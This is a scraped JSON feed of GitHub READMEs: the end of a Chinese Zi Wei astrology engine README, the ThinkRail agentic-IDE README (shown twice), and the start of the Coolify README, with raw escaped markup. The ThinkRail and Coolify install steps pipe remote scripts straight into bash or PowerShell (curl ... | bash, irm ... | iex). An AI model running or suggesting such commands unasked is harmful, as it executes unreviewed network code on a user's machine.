sihua.ts | \n \u56db\u5316\u98de\u661f\u7cfb\u7edf\uff08\u7984\u6743\u79d1\u5fcc\uff09\uff0c\u542b\u5404\u5929\u5e72\u56db\u5316\u5bf9\u7167\u8868 | \n
patterns.ts | \n 1100+ \u884c\u683c\u5c40\u77e5\u8bc6\u5e93\uff1a\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\u7ecf\u5178\u683c\u5c40\u5224\u5b9a\u89c4\u5219 | \n
heming-knowledge.ts | \n \u5408\u76d8\u65b9\u6cd5\u8bba\uff1a\u502a\u5e08\u4f53\u7cfb\u4e0b\u53cc\u76d8\u6bd4\u5bf9\u903b\u8f91 | \n
types.ts | \n TypeScript \u7c7b\u578b\u5b9a\u4e49 | \n
cities.ts | \n \u4e2d\u56fd\u57ce\u5e02\u7ecf\u7eac\u5ea6\uff0c\u7528\u4e8e\u771f\u592a\u9633\u65f6\u6821\u6b63 | \n
famous.ts | \n \u5386\u53f2\u540d\u4eba\u547d\u76d8\u793a\u4f8b\u6570\u636e | \n
school-data.ts / school-tables.generated.ts / school-config.ts | \n \u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e | \n
shier-shen.ts | \n \u5341\u4e8c\u795e\u715e\uff08\u672c\u547d\u6309\u751f\u5e74\u652f\u8d77\u3001\u6d41\u5e74\u5c42\u6309\u6d41\u5e74\u652f\u8d77\uff09 | \n
true-solar-time.ts | \n \u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09 | \n
dst-cn.ts | \n \u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6\u5e74\u4efd\u4e0e\u533a\u95f4 | \n
yunxian-context.ts | \n \u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\u5904\u7406\uff09 | \n
lunar-solar.ts | \n \u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp | \n
lib/classics/\uff09gusuifu.ts\uff09\u2014 \u7d2b\u5fae\u6597\u6570\u6838\u5fc3\u6b4c\u8bc0quanji.ts\uff09\u2014 \u6e05\u4ee3\u53e4\u672cquanshu.ts\uff09\u2014 \u9648\u5e0c\u5937\u4f20\u672clib/seo/\uff0914 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\u7684\u7ed3\u6784\u5316\u77e5\u8bc6\u6570\u636e\uff0c\u53ef\u7528\u4e8e\u5185\u5bb9\u751f\u6210\u6216\u77e5\u8bc6\u5e93\u6784\u5efa\u3002
\n
\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u7d2b\u5fae\u6597\u6570\u90e8\u5206\u7684\u539f\u8bdd\u5171 1848 \u6761\uff1a\u6b63\u8bfe 14 \u8bb2\uff08\u7b2c 2\u201315 \u8bb2\u4e0a\u534a\uff09\u52a0 2 \u6bb5\u8865\u5145\uff0c\u6309\u8bb2\u5206\u6210 16 \u4e2a\u6587\u4ef6\uff0c\u653e\u5728 docs/tianji-ziwei/\u3002\u6bcf\u6761\u90fd\u5e26\u51fa\u5904\u65f6\u95f4\uff0c\u70b9\u4e00\u4e0b\u5c31\u8df3\u56de B \u7ad9\u539f\u89c6\u9891\u7684\u90a3\u4e00\u79d2\u3002
\u754c\u9762\u4ee3\u7801\u5728 app/ \u4e0e components/\u3002\u4ed3\u5e93\u91cc\u7684\u754c\u9762\u662f\u4e00\u5957\u6700\u5c0f\u53ef\u8fd0\u884c\u793a\u4f8b\uff0c\u4f5c\u7528\u662f\u628a\u6392\u76d8\u5f15\u64ce\u8dd1\u8d77\u6765\u3001\u628a\u76d8\u753b\u51fa\u6765\uff0c\u65b9\u4fbf\u4f60\u5728\u5b83\u57fa\u7840\u4e0a\u505a\u81ea\u5df1\u7684\u4ea7\u54c1\u3002\u7ebf\u4e0a\u5546\u4e1a\u7248\u7684\u754c\u9762\u4e0d\u5728\u5f00\u6e90\u8303\u56f4\u5185\uff0c\u4e24\u8005\u5dee\u8ddd\u5f88\u5927\uff1a
| \u9875\u9762 / \u7ec4\u4ef6 | \n\u672c\u4ed3\u5e93\uff08Demo\uff09 | \n\u7ebf\u4e0a\u5546\u4e1a\u7248 | \n
|---|---|---|
\u6392\u76d8\u9875 app/chart/page.tsx | \n 75 \u884c | \n1227 \u884c | \n
\u89e3\u8bfb\u9762\u677f InsightPanel | \n 467 \u884c | \n5088 \u884c | \n
\u547d\u76d8\u65b9\u683c ChartBoard | \n 285 \u884c | \n1334 \u884c | \n
\u5bab\u4f4d\u683c PalaceCell | \n 201 \u884c | \n1192 \u884c | \n
\u5408\u76d8\u9875 app/heming/page.tsx | \n 368 \u884c | \n1937 \u884c | \n
Demo \u80fd\u8dd1\u901a\u7684\uff1a\u51fa\u751f\u4fe1\u606f\u8868\u5355\u3001\u547d\u76d8\u65b9\u683c\u4e0e\u5bab\u4f4d\u8be6\u60c5\u3001\u672c\u547d / \u5927\u9650 / \u6d41\u5e74\u5207\u6362\u3001\u53e4\u7c4d\u9605\u8bfb\u5668\uff08\u5168\u6587\u641c\u7d22\uff09\u3001\u547d\u7406\u767e\u79d1\uff0814 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\uff09\u3001\u4eae\u6697\u4e3b\u9898\u3001\u79fb\u52a8\u7aef\u9002\u914d\u3002
\nDemo \u91cc\u6ca1\u6709\u7684\uff1a\u7ebf\u4e0a\u91cd\u505a\u8fc7\u7684\u4ea4\u4e92\u754c\u9762\u3001AI \u6d41\u5f0f\u89e3\u8bfb\u3001\u5408\u76d8\u56fe\u8c31\u3001\u5206\u4eab\u5361\u7247\uff0c\u4ee5\u53ca\u65ad\u8bed\u5185\u5bb9\u672c\u8eab\uff08db-analysis.ts \u662f\u5360\u4f4d\u5b9e\u73b0\uff09\u3002\u4e5f\u5c31\u662f\u8bf4\uff0cDemo \u753b\u5f97\u51fa\u76d8\uff0c\u4f46\u7ed9\u4e0d\u51fa\u7ebf\u4e0a\u90a3\u5957\u89e3\u8bfb\u3002
| \n | \u5185\u5bb9 | \n
|---|---|
| \u2705 \u5f00\u6e90 | \n\u6392\u76d8\u5f15\u64ce\uff08lib/ziwei/\uff09\u3001\u53e4\u7c4d\u516c\u7248\u539f\u6587\uff08lib/classics/\uff09\u3001SEO \u77e5\u8bc6\u56fe\u8c31\uff08lib/seo/\uff09\u3001Demo \u754c\u9762\u300151.8 \u4e07\u6837\u672c\u6570\u636e\u96c6\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 | \n
| \u274c \u4e0d\u5f00\u6e90 | \n\u65ad\u8bed\u5e93\uff08lib/ziwei/db-analysis.ts \u662f\u5360\u4f4d\uff0c\u7ebf\u4e0a\u662f\u4e0a\u4e07\u884c\u7684 13 \u4e3b\u9898\u65ad\u8bed\uff09\u3001AI \u89e3\u8bfb prompt\u3001\u540e\u7aef API\uff08/api/interpret \u7b49\uff09\u3001\u7528\u6237\u7cfb\u7edf\uff08\u767b\u5f55 / \u4f1a\u5458 / \u652f\u4ed8\uff09\u3001\u670d\u52a1\u7aef\u5b89\u5168\uff08\u7b7e\u540d\u3001\u9632\u5237\u3001\u6c34\u5370\uff09\u3001\u90e8\u7f72\u914d\u7f6e | \n
\u5982\u679c\u4f60\u9700\u8981 AI \u89e3\u8bfb\u80fd\u529b\uff0c\u53ef\u4ee5\u53c2\u8003 lib/ziwei/patterns.ts \u548c heming-knowledge.ts \u91cc\u7684\u77e5\u8bc6\u5e93\uff0c\u7ed3\u5408\u4efb\u610f LLM \u81ea\u884c\u6784\u5efa prompt\u3002
\u8fd9\u4e2a\u4ed3\u5e93\u662f\u6392\u76d8\u5f15\u64ce + \u6570\u636e\u96c6\u7684\u5f00\u653e\u5feb\u7167\uff0c\u4e0d\u662f\u4e00\u4e2a\u5168\u804c\u7ef4\u62a4\u7684\u5f00\u6e90\u4ea7\u54c1\uff0c\u8bf4\u6e05\u695a\u514d\u5f97\u5927\u5bb6\u731c\uff1a
\nlib/ziwei/ \u7684\u5f15\u64ce\u5c42\u5e76\u6253 tag\uff1b\u65ad\u8bed\u5e93\u3001AI \u89e3\u8bfb\u3001\u5546\u4e1a\u7ad9\u524d\u7aef\u4e0d\u5728\u540c\u6b65\u8303\u56f4\u5185\u3002\u672c\u4ed3\u5e93\u5206\u56db\u90e8\u5206\u6388\u6743\u3002\u524d\u4e09\u90e8\u5206\u662f\u5bbd\u677e\u534f\u8bae\uff0c\u5546\u7528\u6ca1\u6709\u9650\u5236\uff1b\u502a\u5e08\u539f\u8bdd\u76ee\u5f55\u4e0d\u8bb8\u5546\u7528\uff1a
\n| \u5185\u5bb9 | \n\u534f\u8bae | \n\u7b80\u5355\u8bf4 | \n
|---|---|---|
\u4ee3\u7801\uff08lib/\u3001app/\u3001components/\uff09 | \n MIT License | \n\u62ff\u53bb\u968f\u4fbf\u7528\uff0c\u4fdd\u7559 LICENSE \u6587\u4ef6\u5373\u53ef | \n
| \u6570\u636e\uff08Releases \u4e2d\u7684 51.8 \u4e07\u6837\u672c\u6570\u636e\u96c6 v3.0\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff09 | \nCC BY 4.0 \u00b7 \u8981\u6c42 attribution | \n\u5546\u7528\u4e5f\u884c\uff0c\u6ce8\u660e\u6570\u636e\u6765\u6e90\u5373\u53ef | \n
| \u53e4\u7c4d\u539f\u6587\uff08\u9aa8\u9ad3\u8d4b\u3001\u7d2b\u5fae\u6597\u6570\u5168\u96c6 / \u5168\u4e66\u7b49\uff09 | \nPublic Domain | \n\u53e4\u4e66\u90fd\u662f\u516c\u6709\u9886\u57df\uff0c\u4e0d\u5b58\u5728\u7248\u6743 | \n
\u502a\u5e08\u539f\u8bdd\uff08docs/tianji-ziwei/\uff09 | \n CC BY-NC-SA 4.0 | \n\u53ef\u4ee5\u5f15\u7528\u3001\u8f6c\u8f7d\uff0c\u6ce8\u660e\u51fa\u5904\uff1b\u4e0d\u8bb8\u5546\u7528\uff0c\u6539\u7f16\u540e\u7528\u540c\u6837\u534f\u8bae | \n
\u4e00\u53e5\u8bdd\uff1a\u4ee3\u7801\u548c\u6570\u636e\u62ff\u53bb\u7528\uff0c\u5546\u7528\u4e5f\u884c\uff0c\u628a\u6765\u6e90\u94fe\u63a5\u5e26\u4e0a\u5c31\u884c\uff1b\u502a\u5e08\u539f\u8bdd\u53ea\u9650\u975e\u5546\u4e1a\u7684\u5b66\u4e60\u7814\u7a76\uff08\u6570\u636e\u96c6\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u540c\u6837\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff09\u3002
\n\u89c1\u672c\u9875\u5f00\u5934\u3002\u60f3\u81ea\u5df1\u642d\uff1f\u4ee3\u7801\u90fd\u5728\u8fd9\u91cc\uff0c\u62ff\u53bb\u7528\u3002\u5acc\u9ebb\u70e6\uff1f\u6765 metisziwei.com \u76f4\u63a5\u7528\u3002
\nVibe code with pi in a lightweight, real IDE that customises itself around the way you work \u2014 The Vibe You Need
![\"JetBrains](\"https://jb.gg/badges/incubator-plastic.svg?sanitize=true\")
ThinkRail is the agentic IDE that gets better every time you use it \u2014 learning your project through living specs today, and building its own capabilities tomorrow.
\nWe built a rich interface around the pi coding agent, isolated work into separate workspaces, and gave the agent durable project knowledge through living specs and reusable skills. Next, we're adding full extension support, so ThinkRail can create the tools it needs based on how you actually work.
Website: thinkrail.ai \u00b7 Blog: thinkrail.ai/blog
\n\u2b50 If you find ThinkRail useful, give it a star \u2014 it helps others discover it.
\n \n![\"ThinkRail](\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/.github/readme-assets/workbench-light.png\")
\n \nA pi session and the change it made, scoped to an isolated git-worktree workspace.
![\"GitHub](\"https://img.shields.io/github/stars/JetBrains/thinkrail?style=social\")
git worktrees, each with its own branch and working directory. Agents work in parallel without touching your checkout; merge the good branch, delete the rest. You can also attach existing worktrees or explicitly work in the project folder itself. Finished and dormant workspaces settle onto a per-project shelf on their own \u2014 when their pull request merges or closes, or after a quiet week \u2014 and come back the moment you work in them. The topbar shows where the active branch stands against origin and its pull request, with the next step one click away: publish, push, or open a PR described from the plan, the commits, your PR template, or an agent-written draft. Once a GitHub PR is open it shows the CI checks and review decision, and lets you mark it ready, hand failing checks or a diverged branch to the agent, merge it with the repository's last-used method, reopen it, or delete the remote branch.pi sessions per workspace, each with its own model and live token and cost readout. Steer a running turn or queue a follow-up, delegate to subagents, and work a shared plan the agent updates and you edit \u2014 each completed step can be committed and reviewed on its own.SPEC.md files lives beside the code; the agent reads, searches, and maintains it through dedicated spec_* tools, so intent survives the session. The read-only Specs tool renders the graph as a tree in the workbench.gh.pi mcp.json (or add them, and a few presets, from Settings): ThinkRail asks in the chat before calls the server does not mark read-only (or always allows the tools you trust in a project), keeps servers a repository defines off until you approve them, signs you in to OAuth servers from Settings, and shows each chat's servers next to its background commands and subagents.pi's own auth. ThinkRail has no accounts of its own.thinkrail CLI that opens the same app in your browser. Both embed the same engine host; app state lives under ~/.thinkrail.en.json into ~/.thinkrail/locales \u2014 it applies as you save. Agent replies and tool output stay as the agent wrote them.![\"The](\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/.github/readme-assets/specs-light.png\")
\n \nThe project's spec graph as a tree, with the spec itself rendered alongside.
\nThinkRail ships in two additive forms: a native desktop installer and the self-contained thinkrail CLI. Both are published with SHA256SUMS on the releases page.
Download the thinkrail-desktop-* asset for your platform:
macOS (Apple Silicon) \u2014 open the DMG. There is no Intel desktop build.
Windows x64 \u2014 extract the complete setup ZIP, then run its setup executable in place, next to its payload.
Linux x64 / ARM64 \u2014 extract the setup tarball and run installer. Desktop builds need glibc 2.38+ with GTK 3, WebKitGTK 4.1, Ayatana AppIndicator 3, and librsvg 2 \u2014 Ubuntu 24.04 or newer:
sudo apt install libgtk-3-0 libwebkit2gtk-4.1-0 libayatana-appindicator3-1 librsvg2-2\nPackaged stable and nightly desktop builds check for updates in the background and offer them in Settings \u2192 Updates: Download \u2192 Preparing update \u2192 Install & Restart. Nothing is applied until you choose Install & Restart. ThinkRail then shows the installation's progress and log, closes, and reopens on the new version. After the restart it tells you whether the update installed. If it didn't, it explains why and offers to retry. The updater appears only when the package carries a valid HTTPS feed identity; installations that predate that identity need one manual installation first.
\nThe installer downloads the right binary, verifies its SHA-256 checksum, and puts thinkrail on your PATH.
macOS / Linux (also Windows under Git Bash):
\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash\nWindows \u2014 the same command works from cmd and PowerShell:
\npowershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\"\nThen run thinkrail, optionally with a git repo to open as a project:
thinkrail ~/code/my-repo\nthinkrail needs git on your PATH and a model provider \u2014 sign in with JetBrains AI from the app or use your own provider credentials. thinkrail --help lists the flags; thinkrail --version prints the build.
The installer takes --channel stable|nightly and --version; a pinned version must belong to the selected channel:
curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel stable --version 0.1.2\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly --version 0.2.0-nightly.10\nOn Windows the options are environment variables (THINKRAIL_CHANNEL, THINKRAIL_VERSION, THINKRAIL_PREFIX, THINKRAIL_NO_MODIFY_PATH):
$env:THINKRAIL_CHANNEL='nightly'; irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex # PowerShell\nset \"THINKRAIL_CHANNEL=stable\" && set \"THINKRAIL_VERSION=0.1.2\" && powershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\" # cmd\nInstalled stable and nightly CLI hosts periodically offer Run Update in Settings \u2192 Updates. It runs the host machine's thinkrail update in the background \u2014 also when the UI is open in a browser on another machine \u2014 and a successful update asks you to restart the host manually. You can run thinkrail update directly on any platform: it re-runs the installer for the installed channel and replaces <prefix>/bin/thinkrail[.exe]; pass --channel or --version only for an explicit override.
thinkrail uninstall removes the executable, the PATH entry the installer added, and the install metadata, and asks whether to delete your ~/.thinkrail app state (kept by default \u2014 --remove-data deletes it, -y skips the questions).
Prefer a manual install? Download a binary and SHA256SUMS from the releases page and verify the checksum. For self-update to work, rename it to thinkrail (thinkrail.exe on Windows) and place it at <prefix>/bin/thinkrail[.exe]; a binary kept under its release filename or elsewhere must be replaced manually or reinstalled with the script.
| Platform | \nDesktop | \nCLI | \n
|---|---|---|
| macOS Apple Silicon | \nDMG | \nsigned binary | \n
| macOS Intel | \nno Electrobun build | \nnot prebuilt \u2014 build from source | \n
| Windows x64 | \nsigned setup executable and app binaries | \nsigned .exe | \n
| Linux x64 / ARM64 | \nsetup tarball, unsigned | \nunsigned | \n
JetBrains signs the Windows CLI, the desktop setup executable, and every executable and DLL the desktop app installs. The macOS CLI is signed but not yet notarized. Signed and notarized desktop DMGs require the coordinated JetBrains service pipeline; older published DMGs and locally built packages may still be unsigned and blocked by Gatekeeper. Linux artifacts are unsigned.
\nThinkRail collects basic usage events \u2014 launches, chat creation, message sends, provider connections \u2014 tied to a random installation ID. Usage analytics never include prompts, code, files, credentials, or account identity. Error reports are also always sent, tied to the same installation ID, so we can fix crashes: the error type and code and where in ThinkRail's own code it happened. They never include error messages, file paths, names, URLs, or anything from your projects or extensions. Additional product usage and how you found ThinkRail are shared only while Share additional usage data is on; the switch is offered at first launch and lives in Settings \u2192 Privacy. When launching from the command line, thinkrail --no-analytics (or THINKRAIL_NO_ANALYTICS=1) turns additional sharing off for that run. With additional sharing on, a packaged build may open the ThinkRail blog in your browser once to link your installation to the website visit that brought you here \u2014 only where you accepted marketing cookies on the website or no consent is required \u2014 and that link expires after 30 days.
ThinkRail is a thin host that runs pi in-process and bridges it to a rich web UI. pi owns models, skills, compaction, cost, and session state; the app owns the workspace, the editor, and the wire \u2014 it never assembles prompts behind your back. Three rings:
packages/server (+ packages/shared): a Bun.serve HTTP+WS host with one in-process pi session per chat, launched by apps/cli or apps/desktop.packages/contracts: the typed, versioned protocol between host and UI.apps/web: React 19 + Zustand + Tailwind v4, shipped independently; it dials a host over the wire and depends on the contracts only.goal-and-requirements.md and architecture.md are the canonical product and design specs. ThinkRail is developed spec-first: a SPEC.md sits beside every module, and a change that moves a boundary, contract, or decision updates the spec in the same change.
You need Bun 1.4.4 (the pinned package manager and runtime), Node.js \u2265 22.19 (required by the in-process pi engine), and an authenticated pi provider for agent work.
git clone https://github.com/JetBrains/thinkrail.git\ncd thinkrail\nbun install\nbun run dev # host + web client together; Ctrl+C stops both\nbun run --filter @thinkrail/cli dev # browser launcher\nbun run build:binary # standalone CLI artifact\nbun run desktop:dev # package and open the Electrobun app\nbun run desktop:build # package without opening it\nCONTRIBUTING.md covers the checks, the end-to-end suites, desktop packaging, and the repository layout.
Contributions are welcome \u2014 see CONTRIBUTING.md. This project and community are governed by the Code of Conduct.
Licensed under the Apache License 2.0.
", "summary": "Vibe code with pi in a lightweight, real IDE that customises itself around the way you work \u2014 The Vibe You Need
ThinkRail is the agentic IDE that gets better every time you use it \u2014 learning your project through living specs today, and building its own capabilities tomorrow.
\nWe built a rich interface around the pi coding agent, isolated work into separate workspaces, and gave the agent durable project knowledge through living specs and reusable skills. Next, we're adding full extension support, so ThinkRail can create the tools it needs based on how you actually work.
Website: thinkrail.ai \u00b7 Blog: thinkrail.ai/blog
\n\u2b50 If you find ThinkRail useful, give it a star \u2014 it helps others discover it.
\n \n \n \nA pi session and the change it made, scoped to an isolated git-worktree workspace.
git worktrees, each with its own branch and working directory. Agents work in parallel without touching your checkout; merge the good branch, delete the rest. You can also attach existing worktrees or explicitly work in the project folder itself. Finished and dormant workspaces settle onto a per-project shelf on their own \u2014 when their pull request merges or closes, or after a quiet week \u2014 and come back the moment you work in them. The topbar shows where the active branch stands against origin and its pull request, with the next step one click away: publish, push, or open a PR described from the plan, the commits, your PR template, or an agent-written draft. Once a GitHub PR is open it shows the CI checks and review decision, and lets you mark it ready, hand failing checks or a diverged branch to the agent, merge it with the repository's last-used method, reopen it, or delete the remote branch.pi sessions per workspace, each with its own model and live token and cost readout. Steer a running turn or queue a follow-up, delegate to subagents, and work a shared plan the agent updates and you edit \u2014 each completed step can be committed and reviewed on its own.SPEC.md files lives beside the code; the agent reads, searches, and maintains it through dedicated spec_* tools, so intent survives the session. The read-only Specs tool renders the graph as a tree in the workbench.gh.pi mcp.json (or add them, and a few presets, from Settings): ThinkRail asks in the chat before calls the server does not mark read-only (or always allows the tools you trust in a project), keeps servers a repository defines off until you approve them, signs you in to OAuth servers from Settings, and shows each chat's servers next to its background commands and subagents.pi's own auth. ThinkRail has no accounts of its own.thinkrail CLI that opens the same app in your browser. Both embed the same engine host; app state lives under ~/.thinkrail.en.json into ~/.thinkrail/locales \u2014 it applies as you save. Agent replies and tool output stay as the agent wrote them. \n \nThe project's spec graph as a tree, with the spec itself rendered alongside.
\nThinkRail ships in two additive forms: a native desktop installer and the self-contained thinkrail CLI. Both are published with SHA256SUMS on the releases page.
Download the thinkrail-desktop-* asset for your platform:
macOS (Apple Silicon) \u2014 open the DMG. There is no Intel desktop build.
Windows x64 \u2014 extract the complete setup ZIP, then run its setup executable in place, next to its payload.
Linux x64 / ARM64 \u2014 extract the setup tarball and run installer. Desktop builds need glibc 2.38+ with GTK 3, WebKitGTK 4.1, Ayatana AppIndicator 3, and librsvg 2 \u2014 Ubuntu 24.04 or newer:
sudo apt install libgtk-3-0 libwebkit2gtk-4.1-0 libayatana-appindicator3-1 librsvg2-2\nPackaged stable and nightly desktop builds check for updates in the background and offer them in Settings \u2192 Updates: Download \u2192 Preparing update \u2192 Install & Restart. Nothing is applied until you choose Install & Restart. ThinkRail then shows the installation's progress and log, closes, and reopens on the new version. After the restart it tells you whether the update installed. If it didn't, it explains why and offers to retry. The updater appears only when the package carries a valid HTTPS feed identity; installations that predate that identity need one manual installation first.
\nThe installer downloads the right binary, verifies its SHA-256 checksum, and puts thinkrail on your PATH.
macOS / Linux (also Windows under Git Bash):
\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash\nWindows \u2014 the same command works from cmd and PowerShell:
\npowershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\"\nThen run thinkrail, optionally with a git repo to open as a project:
thinkrail ~/code/my-repo\nthinkrail needs git on your PATH and a model provider \u2014 sign in with JetBrains AI from the app or use your own provider credentials. thinkrail --help lists the flags; thinkrail --version prints the build.
The installer takes --channel stable|nightly and --version; a pinned version must belong to the selected channel:
curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel stable --version 0.1.2\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly --version 0.2.0-nightly.10\nOn Windows the options are environment variables (THINKRAIL_CHANNEL, THINKRAIL_VERSION, THINKRAIL_PREFIX, THINKRAIL_NO_MODIFY_PATH):
$env:THINKRAIL_CHANNEL='nightly'; irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex # PowerShell\nset \"THINKRAIL_CHANNEL=stable\" && set \"THINKRAIL_VERSION=0.1.2\" && powershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\" # cmd\nInstalled stable and nightly CLI hosts periodically offer Run Update in Settings \u2192 Updates. It runs the host machine's thinkrail update in the background \u2014 also when the UI is open in a browser on another machine \u2014 and a successful update asks you to restart the host manually. You can run thinkrail update directly on any platform: it re-runs the installer for the installed channel and replaces <prefix>/bin/thinkrail[.exe]; pass --channel or --version only for an explicit override.
thinkrail uninstall removes the executable, the PATH entry the installer added, and the install metadata, and asks whether to delete your ~/.thinkrail app state (kept by default \u2014 --remove-data deletes it, -y skips the questions).
Prefer a manual install? Download a binary and SHA256SUMS from the releases page and verify the checksum. For self-update to work, rename it to thinkrail (thinkrail.exe on Windows) and place it at <prefix>/bin/thinkrail[.exe]; a binary kept under its release filename or elsewhere must be replaced manually or reinstalled with the script.
| Platform | \nDesktop | \nCLI | \n
|---|---|---|
| macOS Apple Silicon | \nDMG | \nsigned binary | \n
| macOS Intel | \nno Electrobun build | \nnot prebuilt \u2014 build from source | \n
| Windows x64 | \nsigned setup executable and app binaries | \nsigned .exe | \n
| Linux x64 / ARM64 | \nsetup tarball, unsigned | \nunsigned | \n
JetBrains signs the Windows CLI, the desktop setup executable, and every executable and DLL the desktop app installs. The macOS CLI is signed but not yet notarized. Signed and notarized desktop DMGs require the coordinated JetBrains service pipeline; older published DMGs and locally built packages may still be unsigned and blocked by Gatekeeper. Linux artifacts are unsigned.
\nThinkRail collects basic usage events \u2014 launches, chat creation, message sends, provider connections \u2014 tied to a random installation ID. Usage analytics never include prompts, code, files, credentials, or account identity. Error reports are also always sent, tied to the same installation ID, so we can fix crashes: the error type and code and where in ThinkRail's own code it happened. They never include error messages, file paths, names, URLs, or anything from your projects or extensions. Additional product usage and how you found ThinkRail are shared only while Share additional usage data is on; the switch is offered at first launch and lives in Settings \u2192 Privacy. When launching from the command line, thinkrail --no-analytics (or THINKRAIL_NO_ANALYTICS=1) turns additional sharing off for that run. With additional sharing on, a packaged build may open the ThinkRail blog in your browser once to link your installation to the website visit that brought you here \u2014 only where you accepted marketing cookies on the website or no consent is required \u2014 and that link expires after 30 days.
ThinkRail is a thin host that runs pi in-process and bridges it to a rich web UI. pi owns models, skills, compaction, cost, and session state; the app owns the workspace, the editor, and the wire \u2014 it never assembles prompts behind your back. Three rings:
packages/server (+ packages/shared): a Bun.serve HTTP+WS host with one in-process pi session per chat, launched by apps/cli or apps/desktop.packages/contracts: the typed, versioned protocol between host and UI.apps/web: React 19 + Zustand + Tailwind v4, shipped independently; it dials a host over the wire and depends on the contracts only.goal-and-requirements.md and architecture.md are the canonical product and design specs. ThinkRail is developed spec-first: a SPEC.md sits beside every module, and a change that moves a boundary, contract, or decision updates the spec in the same change.
You need Bun 1.4.4 (the pinned package manager and runtime), Node.js \u2265 22.19 (required by the in-process pi engine), and an authenticated pi provider for agent work.
git clone https://github.com/JetBrains/thinkrail.git\ncd thinkrail\nbun install\nbun run dev # host + web client together; Ctrl+C stops both\nbun run --filter @thinkrail/cli dev # browser launcher\nbun run build:binary # standalone CLI artifact\nbun run desktop:dev # package and open the Electrobun app\nbun run desktop:build # package without opening it\nCONTRIBUTING.md covers the checks, the end-to-end suites, desktop packaging, and the repository layout.
Contributions are welcome \u2014 see CONTRIBUTING.md. This project and community are governed by the Code of Conduct.
Licensed under the Apache License 2.0.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/coollabsio/coolify", "url": "https://github.com/coollabsio/coolify", "external_url": null, "title": "coollabsio/coolify", "content_text": "", "content_html": "An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
![\"Coolify](\"https://raw.githubusercontent.com/coollabsio/coolify/main/public/coolify-logo.svg?sanitize=true\"){kind=logo}
\n An open-source platform to deploy applications, databases, and services on your own servers.
\nOpen source & free forever, backed by our philosophy.
\nWebsite \u00b7 Documentation \u00b7 Cloud \u00b7 Discord \u00b7 Community
\nCoolify is an open-source and self-hostable alternative to Heroku, Netlify, and Vercel. It helps you manage servers, applications, and databases on your own hardware. You only need an SSH connection.
\nYou can use a VPS, a bare-metal server, a Raspberry Pi, or any other server that accepts SSH connections. Coolify gives you the convenience of a cloud platform while you keep control of your infrastructure.
\nYour configurations stay on your servers. If you stop using Coolify, your running resources continue to work and remain manageable.
\nInstall Coolify on a supported server with one command:
\n![\"Latest](\"https://img.shields.io/badge/dynamic/json?labelColor=grey&color=6366f1&label=Latest%20released%20version&url=https%3A%2F%2Fcdn.coollabs.io%2Fcoolify%2Fversions.json&query=coolify.v4.version&style=for-the-badge\"){kind=icon}
curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash\nRead the installation guide for requirements and detailed instructions. You can also review the installation script before you run it.
\n| Self-hosted | \nCoolify Cloud | \n
|---|---|
| Install Coolify on your own server. | \nUse a Coolify instance that we maintain. | \n
| Control and maintain the complete platform. | \nGet high availability and less maintenance. | \n
| Free and open source. | \nPaid service with email notifications and additional support. | \n
The recommended self-hosted setup uses one server for Coolify and one or more servers for deployed resources. If you do not want to maintain the Coolify server, use Coolify Cloud. See coolify.io for current pricing.
\nTo stay completely free and open-source, with no feature behind the paywall and evolve the project, we need your help. If you like Coolify, please consider donating to help us fund the project's future development.
\n \nThank you so much!
\n![\"Serverside\"](\"https://cdn.coollabs.io/sponsors/serverside.svg?sanitize=true\")
![\"DarkVPS\"](\"https://cdn.coollabs.io/sponsors/darkvps.png\")
![\"Open](\"https://cdn.coollabs.io/sponsors/opensourcealternatives.png\")
![\"Onserva\"](\"https://onserva.com/icon.svg?sanitize=true\"){kind=icon}
